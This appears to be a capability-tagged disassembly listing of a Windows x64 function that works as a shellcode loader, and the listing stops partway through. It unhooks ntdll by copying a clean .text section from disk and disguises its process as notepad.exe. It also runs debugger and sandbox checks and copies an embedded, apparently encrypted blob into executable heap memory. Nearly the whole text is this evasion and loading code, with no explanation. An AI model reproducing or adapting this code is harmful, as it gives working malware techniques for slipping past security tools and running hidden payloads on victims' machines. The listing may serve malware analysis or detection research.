Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x968
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8d0], xmm6
mov dword [rbp + 0x910], ecx
mov qword [rbp + 0x918], rdx
call fcn.140003000
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8c8], rax
cmp qword [rbp + 0x8c8], 0
jne 0x140001697
mov ecx, 0x6ae0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x828], rax
mov dword [rbp + 0x8c4], 0
mov dword [rbp + 0x824], 1
mov dword [rbp + 0x8c0], 0
jmp 0x1400015bd
mov dword [rbp + 0x8bc], 0
jmp 0x1400015ad
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x8c0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x828]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x8bc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x4b
jle 0x140001548
add dword [rbp + 0x8c0], 1
cmp dword [rbp + 0x8c0], 0x59
jle 0x14000153c
mov dword [rbp + 0x8c0], 0
jmp 0x140001639
mov dword [rbp + 0x8bc], 0
jmp 0x140001629
mov eax, dword [rbp + 0x8c0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x828]
add rdx, rax
mov eax, dword [rbp + 0x8bc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001622
add dword [rbp + 0x8c4], 1
add dword [rbp + 0x8bc], 1
cmp dword [rbp + 0x8bc], 0x4b
jle 0x1400015e2
add dword [rbp + 0x8c0], 1
cmp dword [rbp + 0x8c0], 0x59
jle 0x1400015d6
cmp dword [rbp + 0x8c4], 0xd5c
je 0x140001658
mov dword [rbp + 0x824], 0
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8c8], rax
cmp qword [rbp + 0x8c8], 0
je 0x140001f8c
mov dword [rbp + 0x8b8], 0xffffffff
mov ecx, 0x1b08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x818], rax
mov ecx, 0x1b08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x810], rax
add dword [rbp + 0x8b8], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x8b8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x818]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x8b8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x818]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x8b8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x810]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ff0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x8b8], 0x35f
jle 0x1400016d1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x680]
mov rax, qword [rbp + 0x830]
mov r10, qword [rbp + 0x8c8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x808], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x8ac], 0
mov dword [rbp + 0x7ec], 0x109
mov dword [rbp + 0x7e8], 0x84
mov eax, dword [rbp + 0x7ec]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x8b4], 0
jmp 0x140001919
mov eax, dword [rbp + 0x8b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rdx, rax
mov eax, dword [rbp + 0x8b4]
mov dword [rdx], eax
add dword [rbp + 0x8b4], 1
mov eax, dword [rbp + 0x8b4]
cmp eax, dword [rbp + 0x7e8]
jl 0x1400018f0
mov dword [rbp + 0x8b4], 1
jmp 0x1400019ab
mov eax, dword [rbp + 0x8b4]
mov dword [rbp + 0x8b0], eax
jmp 0x140001982
mov edx, dword [rbp + 0x8b4]
mov eax, dword [rbp + 0x8b0]
add edx, eax
mov eax, dword [rbp + 0x8b4]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x8b0]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x8b0], 1
mov eax, dword [rbp + 0x7e8]
sub eax, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0x8b4]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x8b0], eax
jle 0x140001941
add dword [rbp + 0x8b4], 1
mov eax, dword [rbp + 0x8b4]
cmp eax, dword [rbp + 0x7e8]
jl 0x140001933
cmp dword [rbp + 0x7ec], 2
jle 0x1400019ef
mov eax, dword [rbp + 0x8ac]
lea edx, [rax + 1]
mov dword [rbp + 0x8ac], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x8b4], 1
jmp 0x140001a53
mov eax, dword [rbp + 0x8b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a4c
mov eax, dword [rbp + 0x8b4]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x8ac]
lea edx, [rax + 1]
mov dword [rbp + 0x8ac], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x8b4], 1
mov eax, dword [rbp + 0x8b4]
cmp eax, dword [rbp + 0x7e8]
jl 0x1400019fb
mov dword [rbp + 0x7dc], 2
mov dword [rbp + 0x8a8], 0
mov dword [rbp + 0x8b4], 0
jmp 0x140001aaf
mov eax, dword [rbp + 0x8b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001aa8
add dword [rbp + 0x8a8], 1
add dword [rbp + 0x8b4], 1
mov eax, dword [rbp + 0x8b4]
cmp eax, dword [rbp + 0x7dc]
jl 0x140001a81
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x808]
mov qword [rbp + 0x7d0], rax
mov ecx, 0x83c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x8a4], 0
jmp 0x140001b83
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x8a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x8a4], 1
cmp dword [rbp + 0x8a4], 0x20e
jle 0x140001afa
mov dword [rbp + 0x8a4], 0
jmp 0x140001caf
mov dword [rbp + 0x7a4], 0
jmp 0x140001c91
mov eax, dword [rbp + 0x8a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x7a4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001c8a
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x7a0], xmm0
mov eax, dword [rbp + 0x8a4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x7a4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rbp + 0x7a0]
movss dword [rax], xmm0
add dword [rbp + 0x8a4], 1
mov eax, 0x20e
sub eax, dword [rbp + 0x8a4]
cmp dword [rbp + 0x7a4], eax
jl 0x140001bb1
add dword [rbp + 0x8a4], 1
cmp dword [rbp + 0x8a4], 0x20e
jle 0x140001ba2
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x808]
add rax, rdx
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x898], 0
mov ecx, 0x1ce0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x8a0], 0
jmp 0x140001ddc
mov dword [rbp + 0x89c], 0
jmp 0x140001dc8
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x8a0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x7b0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x89c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x8a0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mov eax, dword [rbp + 0x89c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001dc1
add dword [rbp + 0x898], 1
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x1b
jle 0x140001d2f
add dword [rbp + 0x8a0], 1
cmp dword [rbp + 0x8a0], 0x41
jle 0x140001d20
cmp dword [rbp + 0x898], 0x39c
jne 0x140001dff
mov dword [rbp + 0x7bc], 1
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x896], 0
jmp 0x140001f74
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x896]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001f63
mov dword [rbp + 0x890], 0x226
jmp 0x140001e89
sub dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0
jg 0x140001e82
mov dword [rbp + 0x644], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x644]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x644]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x896]
add eax, 1
mov word [rbp + 0x896], ax
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x896], ax
jb 0x140001e1c
mov dword [rbp + 0x64c], 0
mov rax, qword [rbp + 0x840]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x64c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x798]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x658]
add rax, 0x3c
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x648]
mov r8, qword [rbp + 0x788]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x648]
cmp eax, 1
je 0x140002f35
mov dword [rbp + 0x640], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x640]
mov r8, qword [rbp + 0x780]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x640]
cmp eax, 1
je 0x140002f35
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x140002f35
mov qword [rbp + 0x770], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5213e80
mov ecx, 0
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002f35
mov rax, qword [rbp + 0x770]
mov edx, 0x5213e80
mov rcx, rax
call fcn.1400042b0
mov rax, qword [rbp + 0x770]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x760], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x758]
mov r9d, 0x3000
mov r8d, 0x429
mov edx, 0
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x140002f35
mov ecx, 0x5e7
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5e7
jne 0x140002f35
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x888], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x14000230c
mov rax, qword [rbp + 0x750]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x748]
mov r9d, 0x3000
mov r8d, 0x36a
mov edx, 0
call rax
mov qword [rbp + 0x888], rax
cmp qword [rbp + 0x888], 0
je 0x140002f35
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002373
mov rax, qword [rbp + 0x740]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov ecx, 0
call rax
mov dword [rbp + 0x884], eax
cmp dword [rbp + 0x884], 0xffffffff
je 0x140002f35
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002f35
mov rax, qword [rbp + 0x730]
mov edx, 0x51d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x72c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x14000242b
mov rax, qword [rbp + 0x720]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x880], eax
cmp dword [rbp + 0x880], 0xffffffff
je 0x140002f35
lea rax, [rbp + 0x140]
lea rdx, str._U
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x710]
mov r8d, 0
mov edx, 0x4fe
mov ecx, 0x40000
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r9, qword [rbp + 0x708]
mov r8d, 0x4fe
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x840]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x6f8]
mov r9, qword [rbp + 0x6f0]
mov r8d, 0x4fe
mov rcx, rax
call r9
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x878], 0
mov dword [rbp + 0x874], 0
movabs rax, 0x85a70cb3d76dd6ab
movabs rdx, 0x386e8023d6406d10
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x305f543f69b8668e
movabs rdx, 0xdefe6aad597d05ba
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x3e65931508f7ad70
movabs rdx, 0xf15869b1f6a7a637
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xd12a857825df647
movabs rdx, 0x9793df62fe326a18
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x9addeb3018a72be8
movabs rdx, 0xc15aa4a3ee7439d5
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x207283b7c7f21014
movabs rdx, 0x2e70cdd877e5d6f3
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xd2df50096ccb2414
movabs rdx, 0xc2f801470e250dee
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x685182b8c2f80147
movabs rdx, 0xaf0788cccdce27
mov qword [rbp + 0xac], rax
mov qword [rbp + 0xb4], rdx
movabs rax, 0x46f4c350a36aa468
movabs rdx, 0x98fb33412182adce
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x6d39287020b28d8e
movabs rdx, 0xb5b4669a1536cc63
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x2c9e12648eba5aff
movabs rdx, 0x7006bc5e2f6f2709
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x30373d6edd9a5603
movabs rdx, 0x2b219a4610bed937
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xfa1471f0769f5fbc
movabs rdx, 0xccac1410b0ae0616
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xb7cdca3dda3ec513
movabs rdx, 0x631219ad9e4e0b3f
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xf703939ef7185a8a
movabs rdx, 0x74e4c626db6b6472
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x40d0484e98845243
movabs rdx, 0xbde812cc884eef
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rdx
jmp 0x140002c18
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x6c4], 0x371
mov dword [rbp + 0x6c0], 0x1b8
mov eax, dword [rbp + 0x6c4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x870], 0
jmp 0x1400027df
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mov eax, dword [rbp + 0x870]
mov dword [rdx], eax
add dword [rbp + 0x870], 1
mov eax, dword [rbp + 0x870]
cmp eax, dword [rbp + 0x6c0]
jl 0x1400027b6
mov dword [rbp + 0x870], 1
jmp 0x140002871
mov eax, dword [rbp + 0x870]
mov dword [rbp + 0x86c], eax
jmp 0x140002848
mov edx, dword [rbp + 0x870]
mov eax, dword [rbp + 0x86c]
add edx, eax
mov eax, dword [rbp + 0x870]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x86c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x86c], 1
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x870]
mov edx, dword [rbp + 0x870]
add edx, edx
lea edi, [rdx + 1]
cdq
idiv edi
cmp dword [rbp + 0x86c], eax
jle 0x140002807
add dword [rbp + 0x870], 1
mov eax, dword [rbp + 0x870]
cmp eax, dword [rbp + 0x6c0]
jl 0x1400027f9
cmp dword [rbp + 0x6c4], 2
jle 0x1400028b5
mov eax, dword [rbp + 0x868]
lea edx, [rax + 1]
mov dword [rbp + 0x868], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x870], 1
jmp 0x140002919
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002912
mov eax, dword [rbp + 0x870]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x868]
lea edx, [rax + 1]
mov dword [rbp + 0x868], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x870], 1
mov eax, dword [rbp + 0x870]
cmp eax, dword [rbp + 0x6c0]
jl 0x1400028c1
mov dword [rbp + 0x6b4], 2
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x870], 0
jmp 0x140002975
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000296e
add dword [rbp + 0x864], 1
add dword [rbp + 0x870], 1
mov eax, dword [rbp + 0x870]
cmp eax, dword [rbp + 0x6b4]
jl 0x140002947
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
